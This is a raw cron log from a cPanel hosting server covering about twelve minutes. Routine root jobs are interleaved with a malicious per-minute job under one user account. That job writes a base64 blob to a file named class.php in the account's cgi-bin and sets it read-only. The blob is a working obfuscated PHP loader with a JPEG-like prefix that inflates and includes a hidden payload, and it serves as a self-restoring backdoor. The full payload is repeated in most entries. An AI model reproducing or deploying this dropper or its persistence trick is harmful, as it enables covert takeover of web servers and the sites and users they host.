Sep 11 18:31:01 server CROND[20666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:32:01 server CROND[21050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:32:01 server CROND[21051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:32:01 server CROND[21052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:33:01 server CROND[21440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:33:01 server CROND[21439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:33:01 server CROND[21441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:34:01 server CROND[21820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:34:01 server CROND[21821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:34:01 server CROND[21822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:35:01 server CROND[22214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:35:01 server CROND[22228]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:35:01 server CROND[22232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:35:01 server CROND[22230]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:35:01 server CROND[22234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:35:01 server CROND[22231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:35:01 server CROND[22235]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:35:01 server CROND[22238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:35:01 server CROND[22233]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 18:36:01 server CROND[23326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:36:01 server CROND[23327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:36:01 server CROND[23328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:37:01 server CROND[23701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:37:01 server CROND[23702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:37:01 server CROND[23703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:38:01 server CROND[24082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:38:01 server CROND[24081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:38:01 server CROND[24083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:39:01 server CROND[24471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:39:01 server CROND[24472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:39:01 server CROND[24470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:39:01 server CROND[24473]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 18:40:01 server CROND[24869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:40:01 server CROND[24871]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:40:01 server CROND[24873]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:40:01 server CROND[24875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:40:01 server CROND[24876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:40:01 server CROND[24877]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 18:40:01 server CROND[24878]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 18:40:01 server CROND[24879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:41:01 server CROND[25706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:41:01 server CROND[25708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:41:01 server CROND[25707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:42:01 server CROND[26192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:42:01 server CROND[26193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:42:01 server CROND[26194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:42:01 server CROND[26195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 18:43:01 server CROND[26586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:43:01 server CROND[26587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:43:01 server CROND[26588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
